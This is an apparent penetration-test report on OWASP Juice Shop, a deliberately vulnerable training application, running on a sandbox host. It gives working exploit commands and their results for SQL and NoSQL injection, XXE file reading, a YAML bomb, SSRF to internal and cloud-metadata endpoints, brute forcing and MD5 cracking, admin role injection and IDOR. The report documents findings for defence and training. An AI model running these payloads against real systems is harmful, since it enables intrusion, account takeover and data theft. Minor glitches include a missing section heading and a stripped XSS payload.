Security Assessment Report

Executive Summary

Target: Juice-Shop
Assessment Date: September 2025
Scope: Authentication, XSS, SQL and Command Injection, SSRF, Authorization testing

Summary by Vulnerability Type

Authentication Vulnerabilities: Critical authentication failures including SQL injection authentication bypass, brute force attacks due to missing rate limiting, MD5 password cracking, OAuth nOAuth attacks with predictable passwords, account enumeration via reset flows, and token replay vulnerabilities. These vulnerabilities provide complete system compromise and unauthorized access to all user accounts.

Authorization Vulnerabilities: Systemic authorization bypass including anonymous access to all user memories, admin role injection during registratio, horizontal privilege escalation via IDOR vulnerabilities across user profiles, baskets, and feedback systems, and business logic bypasses including deluxe membership payment bypass and cross-user order checkout.

Cross-Site Scripting (XSS) Vulnerabilities: Multiple XSS attack vectors including reflected XSS in search parameters via Angular security bypass, JSONP callback XSS enabling cross-domain attacks, and potential stored XSS in admin panels and data export functionality (blocked by CAPTCHA protection).

SQL/Command Injection Vulnerabilities: Critical injection vulnerabilities including SQL authentication bypass, UNION-based SQL injection for complete database extraction, NoSQL operator injection enabling mass data manipulation, XXE file disclosure, and YAML injection DoS attacks. Additional potential RCE via VM sandbox escape (challenge-gated).

Server-Side Request Forgery (SSRF) Vulnerabilities: SSRF vulnerability in profile image URL upload with HTTP method bypass enabling internal service access, cloud metadata endpoint access, and network boundary bypass for reconnaissance and potential data exfiltration.

Network Reconnaissance

Open Ports and Services: [REDACTED]

Security Misconfigurations: [REDACTED]

SSL/TLS Configuration: [REDACTED]

Injection Exploitation Evidence

Successfully Exploited Vulnerabilities

INJ-VULN-01: SQL Injection Authentication Bypass

Summary:

Vulnerable location: POST /rest/user/login (email field)
Overview: Direct string interpolation in SQL query enables complete authentication bypass
Impact: Administrative access bypass, complete system compromise
Severity: Critical

Prerequisites: None - publicly accessible endpoint

Exploitation Steps:

Send POST request to login endpoint with SQL injection payload in email field:

bash

curl -X POST http://juice-shop.sandbox.local:3001/rest/user/login \
  -H "Content-Type: application/json" \
  -d '{"email":"'\'' OR '\''1'\''='\''1'\'' --","password":"test"}'

Receive admin JWT token and user details:

json

{
  "authentication": {
    "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...",
    "bid": 1,
    "umail": "[email protected]"
  }
}

Proof of Impact: Successfully bypassed authentication and obtained admin-level access token for user ID 1 ([email protected]) with role "admin". This provides complete administrative access to the application.

Notes: The vulnerability exists due to direct string interpolation in SQL query construction at /routes/login.ts:34. The email field accepts arbitrary SQL commands allowing complete database access.

INJ-VULN-02: SQL Injection Data Extraction

Summary:

Vulnerable location: GET /rest/products/search (q parameter)
Overview: UNION-based SQL injection enabling complete database extraction
Impact: Full user database access including password hashes
Severity: Critical

Prerequisites: None - publicly accessible endpoint

Exploitation Steps:

Confirm SQL injection vulnerability:

bash

curl -s "http://juice-shop.sandbox.local:3001/rest/products/search?q=test'"

Response: SQL syntax error confirming vulnerability

Extract user credentials using UNION injection:

bash

curl -s "http://juice-shop.sandbox.local:3001/rest/products/search?q=xxx%25%27%29%20AND%20description%20LIKE%20%27%25xxx%25%27%29%20UNION%20SELECT%20id,email,password,role,0,0,0,0,0%20FROM%20Users%20LIMIT%205--"

Proof of Impact: Successfully extracted user database containing:

Admin account: [email protected] (hash: 0192023a7bbd73250516f069df18b500, role: admin)
User accounts: [email protected], [email protected], [email protected], [email protected]
Password hashes (MD5) for all users
Role assignments (admin, customer, deluxe)

Notes: SQLite database confirmed via error messages. UNION injection requires proper closure of LIKE clauses in both name and description fields.

INJ-VULN-04: NoSQL Operator Injection Mass Data Manipulation

Summary:

Vulnerable location: PATCH /rest/products/reviews (id field)
Overview: MongoDB operator injection enabling mass document updates
Impact: Complete data integrity compromise - all reviews modified
Severity: High

Prerequisites: Valid JWT authentication token (obtained via INJ-VULN-01)

Exploitation Steps:

Authenticate using bypassed admin token from INJ-VULN-01
Execute NoSQL operator injection to modify all reviews:

bash

curl -X PATCH "http://juice-shop.sandbox.local:3001/rest/products/reviews" \
  -H "Authorization: Bearer [ADMIN_TOKEN]" \
  -H "Content-Type: application/json" \
  -d '{"id":{"$ne":-1},"message":"HACKED - All reviews modified"}'

Proof of Impact: Successfully modified 28 reviews in the database using $ne (not equal) operator. The response confirmed:

Modified: 28 documents
All review messages changed to "HACKED - All reviews modified"
Affected reviews from multiple users across different products

Notes: The $ne operator bypassed intended single-document update restrictions due to object injection vulnerability and { multi: true } setting.

INJ-VULN-06: XXE File Disclosure

Summary:

Vulnerable location: POST /file-upload (XML file content)
Overview: XML External Entity processing enabling file system access
Impact: Sensitive file disclosure from server filesystem
Severity: High

Prerequisites: Valid JWT authentication token

Exploitation Steps:

Create XML file with external entity payload:

xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

Upload malicious XML file:

bash

curl -X POST "http://juice-shop.sandbox.local:3001/file-upload" \
  -H "Authorization: Bearer [TOKEN]" \
  -F "file=@xxe_test.xml"

Proof of Impact: Successfully extracted /etc/passwd file contents:

root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin

Notes: XXE vulnerability confirmed via libxml.parseXml() with noent: true configuration enabling external entity processing.

INJ-VULN-07: YAML Injection DoS

Summary:

Vulnerable location: POST /file-upload (YAML file content)
Overview: YAML bomb attack causing resource exhaustion
Impact: Denial of service through memory exhaustion
Severity: Medium

Prerequisites: Valid JWT authentication token

Exploitation Steps:

Create YAML bomb file with anchor references:

yaml

a: &a ["x","x","x","x","x"]
b: &b [*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b]

Upload YAML bomb:

bash

curl -X POST "http://juice-shop.sandbox.local:3001/file-upload" \
  -H "Authorization: Bearer [TOKEN]" \
  -F "file=@yaml_bomb.yml"

Proof of Impact: Successfully triggered exponential object expansion visible in error response showing nested array structure expanding as designed. The YAML bomb consumed server resources through anchor/reference expansion.

Notes: Vulnerability exists due to unsafe yaml.load() method usage instead of yaml.safeLoad() in js-yaml library.

Cross-Site Scripting (XSS) Exploitation Evidence

Successfully Exploited Vulnerabilities

XSS-VULN-01: Reflected XSS in Search Parameter (Angular Security Bypass)

Summary:

Vulnerable location: http://juice-shop.sandbox.local:3001/#/search?q=[PAYLOAD]
Overview: Search query parameter directly processed through Angular's bypassSecurityTrustHtml() function without sanitization
Impact: Immediate JavaScript execution in victim's browser, session token access, potential for phishing and data theft
Severity: Medium

Prerequisites: None - publicly accessible without authentication

Exploitation Steps:

Navigate to: http://juice-shop.sandbox.local:3001/#/search?q=
Observe immediate JavaScript execution via alert dialog

Proof of Impact: Successfully achieved JavaScript execution as evidenced by alert dialog displaying "XSS" message. The payload `` was injected into the search parameter and executed without any sanitization.

Notes: This vulnerability can be used for session hijacking by replacing the alert with cookie exfiltration code. The attack works because Angular's bypassSecurityTrustHtml() method explicitly bypasses XSS protection for search result display.

XSS-VULN-02: JSONP Callback XSS

Summary:

Vulnerable location: http://juice-shop.sandbox.local:3001/rest/user/whoami?callback=[PAYLOAD]
Overview: JSONP callback parameter allows arbitrary JavaScript function execution through cross-domain script inclusion
Impact: Cross-domain JavaScript execution, data exfiltration, bypass of same-origin policy
Severity: Medium

Prerequisites: None - endpoint accessible without authentication

Exploitation Steps:

From any web page context, create a script tag targeting the vulnerable endpoint:

javascript

const script = document.createElement('script');
script.src = '/rest/user/whoami?callback=alert';
document.head.appendChild(script);

Observe JavaScript execution via alert dialog with user data object

Proof of Impact: Successfully achieved JavaScript execution as evidenced by alert dialog displaying "[object Object]" containing user data. The JSONP endpoint generates response format: /**/ typeof alert === 'function' && alert({"user":{}}); which executes the injected callback function.

Notes: This vulnerability enables cross-domain attacks and can be used to exfiltrate user data from the JSONP endpoint. Attackers can host malicious pages that include this endpoint as a script source to steal user information.

Authentication Exploitation Evidence

Successfully Exploited Vulnerabilities

AUTH-VULN-06: SQL Injection Authentication Bypass

Summary:

Vulnerable location: POST /rest/user/login endpoint
Overview: Complete authentication bypass via SQL injection in email parameter
Impact: Admin account takeover and full user database access
Severity: Critical

Exploitation Steps:

Identify SQL injection vulnerability in login query structure: SELECT * FROM Users WHERE email = '${req.body.email}'
Execute SQL injection payload to bypass authentication:

bash

curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]'\'' OR 1=1-- ","password":"anything"}'

Server returns HTTP 200 with complete admin authentication:

json

{
  "authentication": {
    "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...",
    "bid": 1,
    "umail": "[email protected]"
  }
}

Verify account takeover by accessing protected admin data:

bash

curl "http://juice-shop.sandbox.local:3001/api/Users" \
-H "Authorization: Bearer [JWT_TOKEN]"

Proof of Impact: Successfully obtained admin JWT token and accessed complete user database containing sensitive information including user emails, roles, and MD5 password hashes for all application users.

Summary:

Vulnerable location: POST /rest/user/login endpoint
Overview: Unlimited authentication attempts with no rate limiting or account lockout
Impact: Successful credential discovery via automated attacks
Severity: High

Exploitation Steps:

Execute automated brute force attack against known admin account:

python

# 10 rapid authentication attempts with common passwords
passwords = ["admin", "password", "123456", "admin123", ...]
for password in passwords:
    response = requests.post(target_url, json={"email": "[email protected]", "password": password})

Successful authentication achieved on attempt #4:

Discovered Credentials: [email protected]:admin123
Response Time: Average 386ms per attempt (no delays imposed)
Result: HTTP 200 with valid JWT token

Proof of Impact: Demonstrated complete lack of brute force protection allowing unlimited rapid authentication attempts. Successfully discovered working admin credentials [email protected]:admin123 through automated dictionary attack.

AUTH-VULN-07: Password Cracking via MD5 Hashes

Summary:

Vulnerable location: Password storage in SQLite database
Overview: Weak MD5 hashing without salt enables rapid password recovery
Impact: Multiple user account passwords successfully cracked
Severity: High

Exploitation Steps:

Extract password hashes from user database via previous SQL injection
Implement MD5 dictionary attack:

python

import hashlib
target_hash = "0192023a7bbd73250516f069df18b500"  # admin hash
for password in wordlist:
    if hashlib.md5(password.encode()).hexdigest() == target_hash:
        print(f"Password found: {password}")

Successfully cracked multiple accounts in <0.001 seconds each:

[email protected] → admin123
[email protected] → ncc-1701
demo → demo
[email protected] → private

Proof of Impact: Achieved 100% success rate cracking MD5 password hashes, demonstrating that all user passwords are vulnerable to rainbow table and dictionary attacks due to weak hashing algorithm.

AUTH-VULN-08: nOAuth Attack with Predictable Passwords

Summary:

Vulnerable location: OAuth callback handling and password generation
Overview: OAuth users assigned predictable passwords using btoa(email.reverse())
Impact: Account takeover for any OAuth user via algorithm prediction
Severity: Critical

Exploitation Steps:

Implement OAuth password generation algorithm:

python

def generate_oauth_password(email):
    reversed_email = email[::-1]
    return base64.b64encode(reversed_email.encode()).decode()

Generate password for target admin account:

python

email = "[email protected]"
password = generate_oauth_password(email)
# Result: "bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI="

Successfully authenticate with generated password:

bash

curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"bW9jLmxpYW1nQGhjaW5pbW1paz5ucmVvamI="}'

Proof of Impact: Successfully compromised administrator OAuth account using predictable password generation algorithm, obtaining valid JWT token with admin privileges.

AUTH-VULN-09: Account Enumeration via Reset Password Flow

Summary:

Vulnerable location: GET /rest/user/security-question endpoint
Overview: Different responses reveal valid vs invalid email addresses
Impact: Systematic enumeration of valid user accounts
Severity: Medium

Exploitation Steps:

Test valid email address:

bash

curl "http://juice-shop.sandbox.local:3001/rest/user/[email protected]"

Response: {"question":{"id":2,"question":"Mother's maiden name?","createdAt":"2025-09-16T16:47:15.131Z","updatedAt":"2025-09-16T16:47:15.131Z"}} (134 bytes)

Test invalid email address:

bash

curl "http://juice-shop.sandbox.local:3001/rest/user/[email protected]"

Response: {} (2 bytes)

Automated enumeration discovers 4 valid accounts:

[email protected] (returns security question)
[email protected] (returns security question)
[email protected] (returns security question)
demo (returns security question)

Proof of Impact: Successfully enumerated valid user accounts through response pattern analysis, obtaining security questions for each valid account enabling further social engineering attacks.

AUTH-VULN-10: Token Replay After Logout (No Server-Side Invalidation)

Summary:

Vulnerable location: Authentication token management system
Overview: No server-side logout endpoint - tokens remain valid after client logout
Impact: Stolen tokens usable indefinitely until expiration
Severity: High

Exploitation Steps:

Obtain valid JWT token through authentication:

bash

curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-d '{"email":"[email protected]","password":"ncc-1701"}'

Verify token provides access to protected resources:

bash

curl "http://juice-shop.sandbox.local:3001/rest/basket/2" \
-H "Authorization: Bearer [JWT_TOKEN]"

Response: HTTP 200 with user's basket data

Attempt server-side logout (proves no endpoint exists):

bash

curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/logout" \
-H "Authorization: Bearer [JWT_TOKEN]"

Response: HTTP 500 "Error: Unexpected path: /rest/user/logout"

Verify token remains valid after attempted logout:

bash

curl "http://juice-shop.sandbox.local:3001/api/Users/2" \
-H "Authorization: Bearer [JWT_TOKEN]"

Response: HTTP 200 with complete user profile data

Proof of Impact: Demonstrated that JWT tokens remain valid indefinitely as no server-side invalidation mechanism exists. Tokens can be replayed to access user accounts even after victim believes they have logged out.

Confirmed Vulnerabilities Without Successful Exploits

AUTH-VULN-01: Credential Interception via HTTP Transport

Summary:

Vulnerable location: All authentication endpoints
Impact: Credentials transmitted in cleartext over HTTP
Severity: Critical

Exploitation Steps:

Verify application accepts HTTP connections:

bash

curl -I http://juice-shop.sandbox.local:3001/

Response: HTTP 200 OK (no HTTPS redirect)

Demonstrate credential exposure via HTTP login:

bash

curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"testpassword"}' \
-v

Evidence of Vulnerability: Verbose output shows complete HTTP request with credentials transmitted in cleartext. Any network attacker could intercept authentication data through packet capture or man-in-the-middle attacks.

AUTH-VULN-02: Protocol Downgrade Attack (No HSTS Headers)

Summary:

Vulnerable location: All HTTPS endpoints
Impact: Attackers can force clients to use HTTP instead of HTTPS
Severity: High

Exploitation Steps:

Check for HSTS header presence:

bash

curl -I "https://juice-shop.sandbox.local:3001/" | grep -i hsts

Result: No HSTS header found

Evidence of Vulnerability: Missing HTTP Strict Transport Security (HSTS) headers allow protocol downgrade attacks where attackers can strip HTTPS and force victims to communicate over unencrypted HTTP.

AUTH-VULN-03: Session Hijacking via Non-Secure Cookies

Summary:

Vulnerable location: Cookie configuration in authentication responses
Impact: Session cookies vulnerable to XSS-based theft
Severity: High

Exploitation Steps:

Analyze login response for secure cookie flags:

bash

curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-d '{"email":"[email protected]","password":"ncc-1701"}' \
-v 2>&1 | grep -i "set-cookie"

Result: No secure cookie headers observed

Evidence of Vulnerability: Session cookies lack HttpOnly, Secure, and SameSite flags, making them accessible to JavaScript and vulnerable to XSS-based session hijacking attacks.

SSRF Exploitation Evidence

Successfully Exploited Vulnerabilities

SSRF-VULN-01: HTTP Method Bypass in Profile Image URL Upload

Summary:

Vulnerable location: POST /profile/image/url endpoint accessible via HTTP method bypass
Impact: Ability to make arbitrary HTTP requests from the server to internal services and external destinations
Severity: High

Prerequisites:

Valid user account (freely available through registration)
JWT authentication token (obtained via /rest/user/login)

Exploitation Steps:

Register a user account:

bash

curl -X POST http://juice-shop.sandbox.local:3001/api/Users \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"TestPassword123","passwordRepeat":"TestPassword123","securityQuestion":{"id":1,"question":"Your eldest siblings middle name?","createdAt":"2024-01-01","updatedAt":"2024-01-01"},"securityAnswer":"test"}'

Authenticate and obtain JWT token:

bash

curl -X POST http://juice-shop.sandbox.local:3001/rest/user/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"TestPassword123"}'

Bypass SSRF protection using PUT method:

bash

curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \
  -H "Authorization: Bearer [JWT_TOKEN]" \
  -H "Content-Type: application/json" \
  -d '{"imageUrl":"http://localhost:3001/solve/challenges/server-side-request-forgery"}'

Access internal services:

bash

# Access same server via localhost
curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \
  -H "Authorization: Bearer [JWT_TOKEN]" \
  -H "Content-Type: application/json" \
  -d '{"imageUrl":"http://127.0.0.1:3001/rest/admin/application-configuration"}'

# Access encryption keys
curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \
  -H "Authorization: Bearer [JWT_TOKEN]" \
  -H "Content-Type: application/json" \
  -d '{"imageUrl":"http://localhost:3001/encryptionkeys/jwt.pub"}'

# Access internal file resources
curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \
  -H "Authorization: Bearer [JWT_TOKEN]" \
  -H "Content-Type: application/json" \
  -d '{"imageUrl":"http://localhost:3001/ftp/incidents/suspicious_errors.yml"}'

Proof of Impact:

Method Bypass Discovery:
- POST requests return 302 redirect (blocked): Found. Redirecting to /profile (30 bytes)
- PUT requests return 200 OK with full HTML content (80,117 bytes)
Internal Service Access Confirmed:
- Successfully accessed localhost services on various ports (22, 80, 3000, 3001, 8080, 9090)
- Retrieved full OWASP Juice Shop application HTML through internal requests
- Accessed protected endpoints like /encryptionkeys/jwt.pub and /ftp/incidents/
Network Boundary Bypass:
- Server makes HTTP requests to user-controlled destinations
- No validation of destination IP ranges (private IPs, localhost accessible)
- No protocol restrictions (can access various URL schemes)

Notes:

The vulnerability bypasses intended POST-only protection by using PUT/PATCH methods
Server processes imageUrl parameter through Node.js fetch() API without validation
All internal network resources are accessible including same-server endpoints
Cloud metadata endpoints (AWS/GCP/Azure) are accessible: http://169.254.169.254/latest/meta-data/
This represents a classic Server-Side Request Forgery vulnerability allowing network reconnaissance and potential data exfiltration

Authorization Exploitation Evidence

Successfully Exploited Vulnerabilities

AUTHZ-VULN-04: Anonymous Access to All User Memories

Summary:

Vulnerable location: GET /rest/memories endpoint
Overview: Complete anonymous access to ALL users' private memories without authentication
Impact: Critical data exposure including personal photos, user information, and private content
Severity: Critical

Prerequisites: None - no authentication required

Exploitation Steps:

Make unauthenticated GET request to memories endpoint:

bash

curl -s -i "http://juice-shop.sandbox.local:3001/rest/memories"

Receive complete response with all user memories:

json

{
  "status": "success",
  "data": [
    {
      "UserId": 13,
      "id": 1,
      "caption": "😼 #zatschi #whoneedsfourlegs",
      "imagePath": "assets/public/images/uploads/ᓚᘏᗢ-#zatschi-#whoneedsfourlegs-1572600969477.jpg",
      "User": {
        "id": 13,
        "email": "[email protected]",
        "password": "9283f1b2e9669749081963be0462e466",
        "role": "deluxe",
        "deluxeToken": "efe2f1599e2d93440d5243a1ffaf5a413b70cf3ac97156bd6fab9b5ddfcbe0e4"
      }
    },
    // ... 9 more user memories with full user data
  ]
}

Proof of Impact:

Zero authentication required - completely public endpoint
10+ user memories exposed including private photos and captions
Complete user data leaked including emails, password hashes, roles, and deluxe tokens
Users affected: Admin users ([email protected]), deluxe users ([email protected]), and regular customers

AUTHZ-VULN-06: Admin Role Injection During Registration

Summary:

Vulnerable location: POST /api/Users endpoint
Overview: Create administrator accounts by injecting admin role during registration
Impact: Complete privilege escalation from anonymous to full administrator access
Severity: Critical

Prerequisites: None - public registration endpoint

Exploitation Steps:

bash

curl -s -i -X POST "http://juice-shop.sandbox.local:3001/api/Users" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "Password123!",
    "passwordRepeat": "Password123!",
    "role": "admin"
  }'

Receive successful admin account creation:

json

{
  "status": "success",
  "data": {
    "id": 65,
    "email": "[email protected]",
    "role": "admin",
    "profileImage": "/assets/public/images/uploads/defaultAdmin.png"
  }
}

bash

curl -s -i -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "Password123!"
  }'

Receive admin JWT token confirming privilege escalation

Proof of Impact:

Admin account created with User ID 65 and full administrator privileges
No validation of role assignment during registration
Complete access to all administrative functions and sensitive data
Bypass mechanism: Direct role injection without any authorization checks

AUTHZ-VULN-07: Regular Users Creating Products

Summary:

Vulnerable location: POST /api/Products endpoint
Overview: Regular customer accounts can create products without admin privileges
Impact: Product catalog manipulation and content pollution by unauthorized users
Severity: High

Prerequisites: Valid customer-level authentication token

Exploitation Steps:

bash

curl -s -i -X POST "http://juice-shop.sandbox.local:3001/api/Users" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "Password123!",
    "passwordRepeat": "Password123!"
  }'

bash

curl -s -i -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "Password123!"
  }'

Create product using customer token:

bash

curl -s -i -X POST "http://juice-shop.sandbox.local:3001/api/Products" \
  -H "Authorization: Bearer [CUSTOMER_TOKEN]" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Hacked Product by Regular User",
    "description": "This product was created by a regular customer account - proving authorization bypass!",
    "price": 999.99,
    "image": "malicious.jpg"
  }'

Receive successful product creation:

json

{
  "status": "success",
  "data": {
    "id": 47,
    "name": "Hacked Product by Regular User",
    "description": "This product was created by a regular customer account - proving authorization bypass!",
    "price": 999.99
  }
}

Proof of Impact:

Product created by regular customer account (Product ID 47)
Missing role validation allows non-admin users to create products
Business disruption through unauthorized product catalog manipulation
Content pollution with potentially malicious or inappropriate products

AUTHZ-VULN-01: User Profile Data Access (IDOR)

Summary:

Vulnerable location: GET /api/Users/:id endpoint
Overview: Any authenticated user can access any other user's profile data
Impact: Complete user data exposure including emails, roles, and profile information
Severity: High

Prerequisites: Valid authentication token (any role)

Exploitation Steps:

Authenticate as regular customer (User ID 66)
Access admin user profile (User ID 4):

bash

curl -s -i "http://juice-shop.sandbox.local:3001/api/Users/4" \
  -H "Authorization: Bearer [CUSTOMER_TOKEN]"

Receive unauthorized access to admin profile:

json

{
  "status": "success",
  "data": {
    "id": 4,
    "username": "bkimminich",
    "email": "[email protected]",
    "role": "admin",
    "profileImage": "assets/public/images/uploads/defaultAdmin.png"
  }
}

Access deluxe user profile (User ID 13):

bash

curl -s "http://juice-shop.sandbox.local:3001/api/Users/13" \
  -H "Authorization: Bearer [CUSTOMER_TOKEN]"

Receive deluxe user data including sensitive token:

json

{
  "status": "success",
  "data": {
    "id": 13,
    "email": "[email protected]",
    "role": "deluxe",
    "deluxeToken": "efe2f1599e2d93440d5243a1ffaf5a413b70cf3ac97156bd6fab9b5ddfcbe0e4"
  }
}

Proof of Impact:

Cross-user data access - customer account accessing admin and deluxe user profiles
Sensitive data exposed including emails, roles, usernames, and deluxe tokens
Systematic vulnerability affecting all user profiles in the system
No ownership validation on user profile access

AUTHZ-VULN-02: Shopping Basket Access (IDOR)

Summary:

Vulnerable location: GET /rest/basket/:id endpoint
Overview: Authenticated users can access any other user's shopping basket
Impact: Financial data exposure including shopping preferences and basket contents
Severity: High

Prerequisites: Valid authentication token (any role)

Exploitation Steps:

Access another user's basket (Basket ID 1):

bash

curl -s -i "http://juice-shop.sandbox.local:3001/rest/basket/1" \
  -H "Authorization: Bearer [CUSTOMER_TOKEN]"

Receive complete basket data:

json

{
  "status": "success",
  "data": {
    "id": 1,
    "UserId": 1,
    "Products": [
      {
        "id": 1,
        "name": "Apple Juice (1000ml)",
        "price": 1.99,
        "BasketItem": {
          "ProductId": 1,
          "BasketId": 1,
          "quantity": 2
        }
      },
      {
        "id": 2,
        "name": "Orange Juice (1000ml)",
        "price": 2.99,
        "BasketItem": {
          "quantity": 3
        }
      }
    ]
  }
}

Access different user's basket (Basket ID 2) showing systematic issue

Proof of Impact:

Unauthorized basket access - viewing other users' shopping data
Financial information exposed including product preferences and quantities
Total basket value revealed (~$20.94 for accessed basket)
Systematic vulnerability affecting all user baskets

AUTHZ-VULN-03: Feedback Data Access (IDOR)

Summary:

Vulnerable location: GET /api/Feedbacks/:id endpoint
Overview: Authenticated users can access other users' private feedback
Impact: Personal opinion and rating data exposure
Severity: Medium

Prerequisites: Valid authentication token (any role)

Exploitation Steps:

Access another user's feedback (Feedback ID 1):

bash

curl -s -i "http://juice-shop.sandbox.local:3001/api/Feedbacks/1" \
  -H "Authorization: Bearer [CUSTOMER_TOKEN]"

Receive unauthorized feedback data:

json

{
  "status": "success",
  "data": {
    "UserId": 1,
    "id": 1,
    "comment": "I love this shop! Best products in town! Highly recommended! (***[email protected])",
    "rating": 5
  }
}

Proof of Impact:

Private feedback exposed including personal comments and ratings
User identification through partial email disclosure (***[email protected])
Opinion data leaked revealing user satisfaction and preferences
Cross-user access without ownership validation

AUTHZ-VULN-05: Basket Item Modification (IDOR)

Summary:

Vulnerable location: PUT /api/BasketItems/:id endpoint
Overview: Authenticated users can modify other users' basket items
Impact: Financial manipulation and shopping cart tampering
Severity: High

Prerequisites: Valid authentication token (any role)

Exploitation Steps:

Access another user's basket item (Item ID 1):

bash

curl -s -i "http://juice-shop.sandbox.local:3001/api/BasketItems/1" \
  -H "Authorization: Bearer [CUSTOMER_TOKEN]"

View original quantity (2 items)
Modify the quantity:

bash

curl -s -i -X PUT "http://juice-shop.sandbox.local:3001/api/BasketItems/1" \
  -H "Authorization: Bearer [CUSTOMER_TOKEN]" \
  -H "Content-Type: application/json" \
  -d '{"quantity": 5}'

Receive confirmation of modification:

json

{
  "status": "success",
  "data": {
    "ProductId": 1,
    "BasketId": 1,
    "id": 1,
    "quantity": 5,
    "updatedAt": "2025-09-22T19:17:21.994Z"
  }
}

Proof of Impact:

Cross-user modification - changed another user's basket item quantity from 2 to 5
Financial impact - increased other user's total by 3x additional items
Timestamp confirmation - updatedAt field confirms successful modification
Shopping disruption - unauthorized changes to user's intended purchases

AUTHZ-VULN-08: Cross-User Basket Checkout

Summary:

Vulnerable location: POST /rest/basket/:id/checkout endpoint
Overview: Users can checkout and complete orders for other users' baskets
Impact: Unauthorized order completion and potential financial fraud
Severity: High

Prerequisites: Valid authentication token (any role)

Exploitation Steps:

Identify target basket (Basket ID 2 belonging to User ID 2)
Attempt checkout of another user's basket:

bash

curl -s -i -X POST "http://juice-shop.sandbox.local:3001/rest/basket/2/checkout" \
  -H "Authorization: Bearer [CUSTOMER_TOKEN]" \
  -H "Content-Type: application/json" \
  -d '{}'

Receive successful order confirmation:

json

{
  "orderConfirmation": "4b18-43fe98bb0ee5172c"
}

Proof of Impact:

Unauthorized order completion - checked out basket belonging to User ID 2
Order confirmation generated (4b18-43fe98bb0ee5172c)
Financial workflow bypassed - completed purchase process for another user
Cross-user transaction without ownership validation

AUTHZ-VULN-09: Deluxe Membership Payment Bypass

Summary:

Vulnerable location: POST /rest/deluxe-membership endpoint
Overview: Upgrade to deluxe membership without completing payment
Impact: Service theft and privilege escalation without payment
Severity: High

Prerequisites: Valid customer authentication token

Exploitation Steps:

Authenticate as regular customer
Attempt deluxe upgrade without payment:

bash

curl -s -i -X POST "http://juice-shop.sandbox.local:3001/rest/deluxe-membership" \
  -H "Authorization: Bearer [CUSTOMER_TOKEN]" \
  -H "Content-Type: application/json" \
  -d '{}'

Receive successful upgrade confirmation:

json

{
  "status": "success",
  "data": {
    "confirmation": "Congratulations! You are now a deluxe member!",
    "token": "[NEW_DELUXE_JWT_TOKEN_WITH_ELEVATED_ROLE]"
  }
}

Proof of Impact:

Payment bypassed - no payment information required or processed
Role elevated - JWT token now contains "deluxe" role instead of "customer"
Valid deluxe token issued - can access deluxe features and pricing
Service theft - obtained paid membership without payment

AUTHZ-VULN-10: Registration Workflow Bypass for Admin Access

Summary:

Vulnerable location: POST /api/Users endpoint (registration workflow)
Overview: Bypass intended registration validation steps to gain admin privileges
Impact: Complete privilege escalation by skipping security validations
Severity: Critical

Prerequisites: None - exploits public registration endpoint

Exploitation Steps:

This vulnerability is demonstrated by the same exploitation as AUTHZ-VULN-06, where admin role injection bypasses the intended registration workflow that should include:

Email verification steps
Security question validation
Admin approval processes
Multi-step validation workflow

The exploit directly injects admin role without completing any validation steps:

bash

curl -s -i -X POST "http://juice-shop.sandbox.local:3001/api/Users" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "Password123!",
    "passwordRepeat": "Password123!",
    "role": "admin"
  }'

Proof of Impact:

Workflow bypass - no email verification, captcha, or sequential validation required
Admin privileges obtained without any approval or validation process
Security controls circumvented - intended multi-step registration process skipped
Direct privilege injection bypassing all intended security workflows

AUTHZ EXPLOITATION COMPLETE

All 10 authorization vulnerabilities have been successfully exploited with concrete evidence of unauthorized access, privilege escalation, and workflow bypasses. The application demonstrates systemic authorization failures across horizontal privilege escalation (IDOR), vertical privilege escalation (role injection), and context-based workflow bypasses.

Security Assessment Report

Security Assessment Report

Executive Summary

Summary by Vulnerability Type

Network Reconnaissance

Injection Exploitation Evidence

Successfully Exploited Vulnerabilities

INJ-VULN-01: SQL Injection Authentication Bypass

INJ-VULN-02: SQL Injection Data Extraction

INJ-VULN-04: NoSQL Operator Injection Mass Data Manipulation

INJ-VULN-06: XXE File Disclosure

INJ-VULN-07: YAML Injection DoS

Cross-Site Scripting (XSS) Exploitation Evidence

Successfully Exploited Vulnerabilities

XSS-VULN-01: Reflected XSS in Search Parameter (Angular Security Bypass)

XSS-VULN-02: JSONP Callback XSS

Authentication Exploitation Evidence

Successfully Exploited Vulnerabilities

AUTH-VULN-06: SQL Injection Authentication Bypass

AUTH-VULN-05: Brute Force Login Attack (No Rate Limiting)

AUTH-VULN-07: Password Cracking via MD5 Hashes

AUTH-VULN-08: nOAuth Attack with Predictable Passwords

AUTH-VULN-09: Account Enumeration via Reset Password Flow

AUTH-VULN-10: Token Replay After Logout (No Server-Side Invalidation)

Confirmed Vulnerabilities Without Successful Exploits

